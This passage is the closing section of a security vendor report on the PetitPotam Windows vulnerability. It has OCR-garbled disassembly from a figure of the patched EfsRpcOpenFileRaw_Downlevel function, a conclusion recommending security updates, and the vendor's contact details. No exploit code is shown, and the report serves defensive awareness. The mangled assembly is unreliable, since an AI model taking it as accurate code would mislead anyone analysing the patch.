jnz loc_180002E41

]

rdx, [rbp+var_18]

rcx, rbx ; Binding
sub_1800035F4

eax, eax

loc_180002E41

L

[l s
cmp [rbp+var_18], ril2d
jz loc_180002E41

(

I3
s
test rl4, rl4
jnz short loc_180002D83

I
test rdi, rdi
jz loc_180002E41

L4 L)

Figure 12 After Updating EfsRpcOpenFileRaw_Down-level function
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Conclusion

PetitPotam is a very critical vulnerability that affects Windows systems. In this report,
issues such as what a PetitPotam vulnerability is, why it originates, what systems it
affects, how it can be exploited, and measures that can be taken against the
vulnerability are discussed.lt is important to implement the security updates
released to avoid being affected by attacks targeting the PetitPotam vulnerability. If
the update is not applied, the receipt of said precautions are very important in terms
of the safety of the systems.

BRANDEFENSE.COM

+90 (850) 303 85 35

/Brandefense

/brandefense

®)8 /brandefense

@80

www.brandefense.com


mailto:info@brandefense.com

